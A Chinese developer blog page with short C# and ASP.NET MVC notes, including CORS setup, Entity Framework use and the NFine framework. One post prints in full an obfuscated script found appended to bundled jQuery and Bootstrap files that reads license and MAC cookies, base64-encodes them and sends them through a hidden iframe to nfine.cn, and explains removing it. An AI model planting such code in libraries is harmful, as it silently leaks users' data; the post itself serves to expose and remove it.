欢迎关注爱分享
分享各种软件,学习资料,提供odoo源码下载

C# 判断一个日期,是否在一段日期之内

ishenc阅读(35)

namespace dapperTest
{
    public class Program
    {
        static void Main(string[] args)
        {

            
            DateTime dt3 = DateTime.Parse("2020-08-09");
            //DateTime dt4 =DateTime.Parse(dt3.ToString("mm-dd"));

            Console.WriteLine(IsInDate(dt3));
            Console.ReadLine();


        }
        /// <summary> 
        /// 判断某个日期是否在某段日期范围内,返回布尔值
        /// </summary> 
        /// <param name="dt">要判断的日期</param> 
        /// <param name="dt1">开始日期</param> 
        /// <param name="dt2">结束日期</param> 
        /// <returns></returns>  
        private static bool IsInDate(DateTime dt)
        {
            return dt.CompareTo(DateTime.Parse("03-03")) >= 0 && dt.CompareTo(DateTime.Parse("08-08")) < 0;
        }
    }
}

WEB API C# 跨域配置

ishenc阅读(104)

第一:

跨域设置:(服务端)
webconfig文件中,system.webServer节点下添加

<!–跨域请求:三个配置信息–>

<httpProtocol>
<customHeaders>
<!–响应类型 (值为逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法)–>
<add name=”Access-Control-Allow-Methods” value=”GET,POST,PUT,DELETE,OPTIONS”/>
<!–响应头设置(Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain)–>
<add name=”Access-Control-Allow-Headers” value=”x-requested-with,content-type”/>
<!–如果设置 Access-Control-Allow-Origin:*,则允许所有域名的脚本访问该资源–>
<add name=”Access-Control-Allow-Origin” value=”*” />
<!–<add name=”Access-Control-Allow-Origin” value=”http://domain1.com, http://domain2.com” /> 设置允许跨域访问的网址–>
</customHeaders>

</httpProtocol>


第二

自定义webapi的路由规则,控制到action

修改APP_Start 文件夹下的WebApiConfig.cs

public static void Register(HttpConfiguration config)
        {
            // Web API 配置和服务
            config.Formatters.Remove(config.Formatters.XmlFormatter);
            var jsonFormatter = config.Formatters.JsonFormatter;
            jsonFormatter.SerializerSettings.Formatting = Newtonsoft.Json.Formatting.Indented;
            jsonFormatter.SerializerSettings.ContractResolver = new CamelCasePropertyNamesContractResolver();

            // Web API 路由
            config.MapHttpAttributeRoutes();

            config.Routes.MapHttpRoute(
                name: “DefaultApi”,
                routeTemplate: “api/{controller}/{action}/{id}”,
                defaults: new { id = RouteParameter.Optional }
            );


第三

Global.asax 文件中配置跨域

/// <summary>
/// 跨域设置
/// </summary>
protected void Application_BeginRequest()
{
//OPTIONS请求方法的主要作用:
//1、获取服务器支持的HTTP请求方法;也是黑客经常使用的方法。
//2、用来检查服务器的性能。如:AJAX进行跨域请求时的预检,需要向另外一个域名的资源发送一个HTTP OPTIONS请求头,用以判断实际发送的请求是否安全。
if (Request.Headers.AllKeys.Contains(“Origin”) && Request.HttpMethod == “OPTIONS”)
{
//表示对输出的内容进行缓冲,执行page.Response.Flush()时,会等所有内容缓冲完毕,将内容发送到客户端。
//这样就不会出错,造成页面卡死状态,让用户无限制的等下去
Response.Flush();
}
}

C# MVC 使用笔记

ishenc阅读(460)

HttpNotFound() 跳转404 内置页面

      [HttpGet]
        public ActionResult Delete(int id)
        {
            using (MyDatabaseEntities dc = new MyDatabaseEntities())
            {
                var v = dc.Employees.Where(a => a.EmployeeID == id).FirstOrDefault();
                if (v != null)
                {
                    return View(v);
                }
                else
                {
                    return HttpNotFound();
                }
            }
        }

//指定要与数据模型类关联的元数据类

  using System.ComponentModel.DataAnnotations;
	
  [MetadataType(typeof(EmployeeMetadata))]

 public class EmployeeMetadata
    {
        [Required (AllowEmptyStrings=false,ErrorMessage="Please provide first name")]
        public string FirstName { get; set; }

        [Required (AllowEmptyStrings=false,ErrorMessage="Please provide last name")]
        public string LastName{get;set;}
    }

这样关联之后,可以做一些初始化的工作,还可以做一些验证,以及自定义的验证错误信息,相当于是扩展了Model实体
因为做验证都是在Model层做的,这样好维护,所以需要做元数据,与ADO.NET实体数据模型关联起来。


Controller层调用的时候,验证代码
if (!ModelState.IsValid)
{
 return View();

 

}


Nfine 快速开发框架去除后门教程

ishenc阅读(1013)

在使用Nfine快速开发框架时,网上一堆人在说,这个快速开发框架有后门。

打开之后,发现在往www.nfine.cn网站去写数据。

解决方法:

找到以下js文件:

jquery-2.1.1.min.js

jquery.layout.js

bootstrap.js

jqgrid.min.js

jquery-ui.min.js

这四个js文件中的最后一段都有这么一句代码:

(function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

只要把这句代码注释掉,在此刷新主页的时候,就不会在访问www.nfine.cn了。

完整的后门URL其实是:http://www.nfine.cn:8099/NFineWatch/20160801.html?ppp=eyJ1c2VyS2V5IjoiM0RCRkE4NDg0NEQwQTQ3NkQ5NDE3RDk4MEM2NkFEQTQiLCJtYWNzIjoiNzVFQTczMUZFNzc1M0RBMURGNERGRjI1RkI1OTBGMTcifQ==

可惜,这个网站已经被关闭了,其实,这个所谓的后门去不去其实影响也不大了。

EF 练习

ishenc阅读(485)

刚刚写了一个简单的EF使用的demo,整个过程写下来,发现EF的效率确实比直接用sql类高的多。

第一步,先创建模型。

步骤省略。。。

后台使用EF返回数据。

public ActionResult GetEmployees()
        {
            using (MyDatabaseEntities dc = new MyDatabaseEntities())
            {
                var employees = dc.Employees
                    .OrderBy(a => a.FirstName).ToList();
                return Json(new { data = employees }, JsonRequestBehavior.AllowGet);
            }
        }

看看前端效果

简单笔记,用来记录。

NFINE快速开发框架说明(记录)

ishenc阅读(385)

解决方案简介:

1、NFine.Code 底层核心类(开发时不涉及,可编绎成dll提供)。

2、NFine.Data 数据层(开发时不涉及,可编绎成dll提供)。

3、NFine.Application  应用(有点类似业务逻辑层) 

4、NFine.Domain 领域层。

5、NFine.Mapping 数据库映射。

6、NFine.Repository 数据访问。

7、NFine.Web 前端视图及控制器。

NFine中的开发过程: 

1、建立Entity 

2、在同项目下的04 IRepository,建立仓库接口。

3、在context中声明。

4、在maping中添加映射。 

5、在NFine.Repository项目中继承接口 

6、在NFine.Application中实现应用服务 

7、建立controler,添加相应的action 

8、添加相应的view

Nfine快速开发框架学习-数据库设置方法

ishenc阅读(627)

Nfine快速开发平台,对应的数据库默认是sql server。

在sql server中建立玩数据库之后,就是在vs中配置数据库的连接方式。

一般网站的连接数据库字符串都是写在web.config中,但找了半天没有找到相关的数据库连接字符串。

看其中代码,发现在configs文件夹中有一个database.confing文件,打开发现就是数据库的连接方式。

配置如下所示:

<?xml version="1.0" encoding="utf-8"?>
<connectionStrings>
  <add name="NFineDbContext" connectionString="Server=.;Initial Catalog=NFineBase;User ID=sa;Password=123456" providerName="System.Data.SqlClient" />
</connectionStrings>

NFine快速开发框架学习

ishenc阅读(1099)

NFine是一个基于.net平台的mvc快速快发框架,俗称能减少68%的开发时间。

页面如下所示:

NFine项目已经停止更新维护了,不过源码依旧是开放的,不过是具有后门的。

不过用来学习MVC是个不错的选择。

解决方案简介:

1、NFine.Code 底层核心类(开发时不涉及,可编绎成dll提供)。

2、NFine.Data 数据层(开发时不涉及,可编绎成dll提供)。

3、NFine.Application  应用(有点类似业务逻辑层) (类似于model)

4、NFine.Domain 领域层。(数据库对应字段的构造函数)

5、NFine.Mapping 数据库映射。

6、NFine.Repository 数据访问。

7、NFine.Web 前端视图及控制器。(V及C)

框架主要运用技术:

  • 1、前端技术

  • JS框架:jquery-2.1.1、Bootstrap.js、JQuery UI

  • CSS框架:Bootstrap v3.3.4(稳定是后台,UI方面根据需求自己升级改造吧)。

  • 客户端验证:jQuery Validation Plugin 1.9.0。

  • 在线编辑器:ckeditor、simditor

  • 上传文件:Uploadify v3.2.1

  • 动态页签:Jerichotab(自己改造)

  • 数据表格:jqGrid、Bootstrap Talbe

  • 对话框:layer-v2.3

  • 下拉选择框:jQuery Select2

  • 树结构控件:jQuery zTree、jQuery wdtree

  • 页面布局:jquery.layout.js 1.4.4

  • 图表插件:echarts、highcharts

  • 日期控件: My97DatePicker

  • 2、后端技术

  • 核心框架:ASP.NET MVC5、WEB API

  • 持久层框架:EntityFramework 6.0

  • 定时计划任务:Quartz.Net组件

  • 安全支持:过滤器、Sql注入、请求伪造

  • 服务端验证:实体模型验证、自己封装Validator

  • 缓存框架:微软自带Cache、Redis

  • 日志管理:Log4net、登录日志、操作日志

  • 工具类:NPOI、Newtonsoft.Json、验证码、丰富公共类似

学习就从上来开始!

先看项目的view,然后找到对应的页面,然后找到对应的js,查看对应的控制器,一层一层的往后看慢慢,然后就可以在里面添加自己的页面,以及自己对应的逻辑函数等。

此开源项目还解决了我一直比较头疼的权限问题。

.Net MVC(一) JQuery serialize()使用方法

ishenc阅读(547)

用ajax往后端传数据时,以前获取form的数据都是直接获取text的值

username: $('#username').val(),
password: $('#password').val()

如果form里的字段比较多的话,用这种方式并不合适,此时,就可以使用serialize()函数。ajax代码如下:

$("#save").click(function () {
        $.ajax({
            url: "/home/saveequeipment",
            type: "post",
            dateType: "json",        
            data: $('#addequipment').serialize(),
            success: function (data) {               
            }
        })
    });

serialize对应的是获取表单里的name属性值。

对应html代码:

 <form class="form-inline" id="addequipment">
                        <!-- PAGE CONTENT BEGINS -->
                        <div style="padding: 10px">
                            <div class="form-group " style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">部门名称</label>
                                <input type="text" class="form-control" id="EQUIP_TYPE" name="EQUIP_TYPE" placeholder="部门名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">资产卡片号</label>
                                <input type="text" class="form-control" id="EQUIP_CODE" name="EQUIP_CODE" placeholder="资产卡片号" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">资产名称</label>
                                <input type="text" class="form-control" id="EQUIP_NAME" name="EQUIP_NAME" placeholder="资产名称" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">规格</label>
                                <input type="text" class="form-control" id="LABEL" name="LABEL" placeholder="规格" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">品牌</label>
                                <input type="text" class="form-control" id="FACTORY" name="FACTORY" placeholder="品牌" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">所在位置</label>
                                <input type="text" class="form-control" id="LOCATION" name="LOCATION" placeholder="所在位置" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">入库日期</label>
                                <input type="text" class="form-control" id="BUY_TIME" name="BUY_TIME" placeholder="入库日期" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">使用状态名称</label>
                                <input type="text" class="form-control" id="CONDITION" name="CONDITION" placeholder="使用状态名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">自定义编码</label>
                                <input type="text" class="form-control" id="REGEST_CODE" name="REGEST_CODE" placeholder="自定义编码">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">供应商名称</label>
                                <input type="text" class="form-control" id="EQUIP_COUNTRY" name="EQUIP_COUNTRY" placeholder="供应商名称" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">设备原值</label>
                                <input type="text" class="form-control" id="EQUIP_MON" name="EQUIP_MON" placeholder="设备原值" required="required">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">合同编号</label>
                                <input type="text" class="form-control" id="EQUIP_HT" name="EQUIP_HT" placeholder="合同编号" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">备注</label>
                                <input type="text" class="form-control" id="MEMO" name="MEMO" placeholder="备注">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">国家名称</label>
                                <input type="text" class="form-control" id="EQUIP_GUOJIA" name="EQUIP_GUOJIA" placeholder="国家名称">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">SN</label>
                                <input type="text" class="form-control" id="SN" name="SN" placeholder=" SN" required="required">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">科研金额</label>
                                <input type="text" class="form-control" id="KEYAN_MON" name="KEYAN_MON" placeholder="科研金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">自筹金额</label>
                                <input type="text" class="form-control" id="ZICHOU_MON" name="ZICHOU_MON" placeholder="自筹金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">财政金额</label>
                                <input type="text" class="form-control" id="CAIWU_MON" name="CAIWU_MON" placeholder="财政金额">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">捐赠金额</label>
                                <input type="text" class="form-control" id="JUANKUAN_MON" name="JUANKUAN_MON" placeholder="捐赠金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">教学金额</label>
                                <input type="text" class="form-control" id="JIAOXUE_MON" name="JIAOXUE_MON" placeholder="教学金额">
                            </div>
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputEmail2" style="width: 90px">卡片位置名称</label>
                                <input type="text" class="form-control" id="KAPIAN_LOCATION" name="KAPIAN_LOCATION" placeholder="卡片位置名称">
                            </div>
                        </div>
                        <div style="padding: 10px">
                            <div class="form-group" style="width: 300px">
                                <label for="exampleInputName2" style="width: 90px">责任人名称</label>
                                <input type="text" class="form-control" id="MANAGE_PEO" name="MANAGE_PEO" placeholder="责任人名称" required="required">
                            </div>
                        </div>
                        <div class="clearfix form-actions">
                            <div class="col-md-offset-3 col-md-9">
                                <button class="btn btn-info" type="submit" id="save">
                                    <i class="ace-icon fa fa-check bigger-110"></i>
                                    提交
                                </button>
                                &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp;
											<button class="btn" type="reset">
                                                <i class="ace-icon fa fa-undo bigger-110"></i>
                                                重置
                                            </button>
                            </div>
                        </div>

                    </form>

后端接受处理方法:

[HttpPost]
        public ActionResult saveequeipment(ParaClass p)
        {

           
            return Content(p.EQUIP_TYPE);
           
        }

使用ParaClass加载对应字段,ParaClass是Model中字段的构造函数,如下显示:

 public class ParaClass
    {
        public string EQUIP_TYPE { get; set; }
        public string EQUIP_CODE { get; set; }
        public string EQUIP_NAME { get; set; }
        public string LABEL { get; set; }
        public string FACTORY { get; set; }
        public string LOCATION { get; set; }
        public string CONDITION { get; set; }
        public string REGEST_CODE { get; set; }
        public string EQUIP_COUNTRY { get; set; }
        public string EQUIP_MON { get; set; }
        public string EQUIP_HT { get; set; }
        public string MEMO { get; set; }
        public string EQUIP_GUOJIA { get; set; }
        public string SN { get; set; }
        public string KEYAN_MON { get; set; }
        public string ZICHOU_MON { get; set; }
        public string CAIWU_MON { get; set; }
        public string JUANKUAN_MON { get; set; }
        public string JIAOXUE_MON { get; set; }
        public string KAPIAN_LOCATION { get; set; }
        public string MANAGE_PEO { get; set; }
        public DateTime BUY_TIME { get; set; }
    }

由于次项目没有使用ORM,以上字段都是人为输入。有ORM的话,字段可自动映射完成。

(原创)VS2012报错“未找到与约束”

ishenc阅读(525)

今天打开vs2012之后,直接报错,“未找到与约束”

网上也是各种各样解决方案,都说可能是补订引起的。

最终找到解决方法:

1、打开控制面板,卸载或更改程序。

2、选择Entiy Framework Designer for Visua Studio 2012-CHS

3、右击选择修复

重启vs2012,正常工作。

iShare-爱分享 更专业 爱分享

Odoo下载联系我们